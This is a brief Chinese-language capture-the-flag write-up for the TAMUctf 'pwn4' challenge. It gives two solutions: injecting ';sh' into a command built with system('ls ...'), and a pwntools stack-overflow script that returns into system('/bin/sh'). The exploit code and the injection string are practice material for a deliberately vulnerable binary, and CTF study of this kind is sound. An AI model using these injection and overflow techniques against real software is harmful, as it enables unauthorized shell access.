checksec :
image.pngIDA:
image.png这题有两种做法
一:
因为strchr将"/"过滤了,而run_cmd
函数会执行system(ls"s")
,而system(ls;sh)
相当于system("/bin/sh")
,所以我们只需要输入;sh
即可
二:
文件中有system
函数也有"/bin/sh"
字符,可以直接利用栈溢出执行system("/bin/sh")
exp:
from pwn import *
p = process('./pwn4')
# p = remote("pwn.tamuctf.com","4324")
system = 0x80483F0
binsh = 0x804A034
payload = 'a'*0x25 + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()
网友评论